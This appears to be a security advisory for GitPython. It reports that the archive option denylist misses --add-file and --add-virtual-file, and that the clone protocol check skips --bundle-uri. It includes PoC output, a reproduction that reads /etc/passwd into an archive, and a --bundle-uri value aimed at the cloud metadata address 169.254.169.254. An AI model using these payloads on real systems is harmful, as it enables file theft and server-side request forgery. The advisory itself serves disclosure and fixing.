| Package | Affected versions | Patched versions |
|---|---|---|
| gitpython | < 3.1.57 | 3.1.57 |
| gitpython | < 3.1.57 | 3.1.57 |
Target: gitpython-developers/GitPython
Tested: HEAD 07e80555 (2026-07-25), latest release 3.1.55, git version 2.50.1
Repo.archive() does call the option guard, so this is not a missing-guard report. The guard is present and working; the denylist it consults is incomplete.
# git/repo/base.py:169
unsafe_git_archive_options = [
# Allows arbitrary command execution through the remote git-upload-archive command.
"--exec",
# Writes output to a caller-controlled filesystem path.
"--output",
"-o",
]
The comment on --output states the protected class in the project's own words: an option that lets the caller name a filesystem path is unsafe. --output is blocked because it writes to a caller-chosen path.
git archive also accepts --add-file=<path> and --add-virtual-file=<path:content> (both present in current git; verified against git version 2.50.1). --add-file reads a caller-chosen path — including an absolute path outside the repository — and places the bytes into the archive the caller receives. Neither option is in the list, and no other layer references them:
$ grep -rniE "add.file|add_file" git/
git/index/base.py:771: R"""Add files from the working tree, ... # unrelated docstring
Net effect: the guard blocks arbitrary file write at this sink while permitting arbitrary file read at the same sink.
poc/poc_addfile.py at HEAD 07e80555. The PoC creates its own out-of-tree canary, so it runs from a clean machine:
-- CONTROL: options the denylist covers (expect BLOCKED) --
[BLOCKED] output='/tmp/gp_written.tar': --output is not allowed, use `allow_unsafe_options=True` to allow it.
[BLOCKED] o='/tmp/gp_written.tar': -o is not allowed, use `allow_unsafe_options=True` to allow it.
[BLOCKED] exec='touch /tmp/gp_exec': --exec is not allowed, use `allow_unsafe_options=True` to allow it.
-- SIBLING OMITTED FROM THE DENYLIST: --add-file (expect ALLOWED) --
[ALLOWED] add_file='/tmp/gp_canary.txt' -> archive 10240 bytes
archive members: ['f.txt', 'gp_canary.txt']
>>> EXFILTRATED gp_canary.txt: 'secret-canary-12345'
>>> byte-for-byte match with the out-of-tree file: CONFIRMED
-- also: --add-virtual-file (attacker-chosen name AND content) --
[ALLOWED] add_virtual_file='pwn.txt:hello' -> archive 10240 bytes
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeThe three blocked lines are the control: they prove the guard is active on this call path, so the fourth result is a gap in list membership rather than a guard that never ran.
Minimal reproduction:
import io, tarfile
from git import Repo
buf = io.BytesIO()
Repo("/path/to/repo").archive(buf, format="tar", add_file="/etc/passwd")
print(tarfile.open(fileobj=io.BytesIO(buf.getvalue())).getnames())
# ['<repo files>', 'passwd'] <- contents readable by whoever receives the archive
The canary is untracked and lives outside the repository; its contents are recovered from the returned archive and asserted byte-for-byte against the on-disk file. The option is rendered by transform_kwargs into --add-file=<path> and reaches git archive unmodified.
GHSA-6p8h-3wgx-97gf (High, published 2026-07-22) is the same defect on the sibling list: "Incomplete unsafe_git_clone_options denylist omits --template" — an option absent from one of these denylists, reachable under the same caller-controlled-options precondition, accepted and fixed by adding it. git log shows the archive list itself has already been extended reactively once, in 701ce32f (fix: Guard unsafe git command options, GHSA-956x-8gvw-wg5v), and the --template omission was then fixed separately in ffcb5359.
--add-virtual-file is the same gap pointing the other way--add-virtual-file=<path:content> lets the caller inject attacker-chosen content under an attacker-chosen name into an archive that downstream consumers will reasonably treat as repository-derived.
Repo.archive() has a small legitimate option surface (format, prefix, worktree_attributes, remote, compression level, plus paths). Accepting those and rejecting the rest means a future git release cannot add another path-taking option that silently reopens this.--add-file and --add-virtual-file, and make the membership rule "the option takes a filesystem path or URL" rather than "the option executes a command". The existing comment on --output already implies that rule; applying it consistently is what closes the class instead of this instance.Repo.archive(). That is the identical precondition to --output, --exec and --template, all of which this project has treated as reportable.While auditing the archive denylist, the same class of gap was identified in unsafe_git_clone_options. A second advisory is not being requested, as the issue is lower severity and should inform the fix for the issue above rather than require separate triage. Recording it here to provide the complete picture in one place.
Repo._clone() treats a URL's protocol as a security boundary and applies check_unsafe_protocols() to exactly one input:
clone_url = Git.polish_url(url, expand_vars=False)
if not allow_unsafe_protocols:
Git.check_unsafe_protocols(clone_url) # the positional url only
git clone accepts a second URL via --bundle-uri=<uri>, which git dereferences before the main transport runs. That option is absent from unsafe_git_clone_options, so the option guard passes it, and check_unsafe_protocols() never inspects it. A caller-influenced value therefore drives an outbound request from the host:
Repo.clone_from(trusted_url, dest,
multi_options=["--bundle-uri=http://169.254.169.254/latest/meta-data/"])
# no UnsafeProtocolError, no UnsafeOptionError
Confirmed against a local listener — the request leaves the process:
127.0.0.1 - - [24/Jul/2026 23:07:41] "GET /internal-metadata HTTP/1.1" 404 -
file:///path is likewise accepted without error. Note this is not a tokenisation bypass: multi_options is shlex.split before the check (per c9a26789 / GHSA-x2qx-6953-8485), so the fully-split --bundle-uri=... token is checked and legitimately passes because the option is not on the list.
Why it belongs with this report: both are the membership question rather than the matching logic — is the set of blocked options complete, and does the protocol guard inspect every URL git will dereference? The structural remediation proposed above covers both if extended slightly: prefer an allowlist per command, and route every URL-bearing option through check_unsafe_protocols(), not only the positional URL. Adding --bundle-uri to unsafe_git_clone_options would be the minimal fix.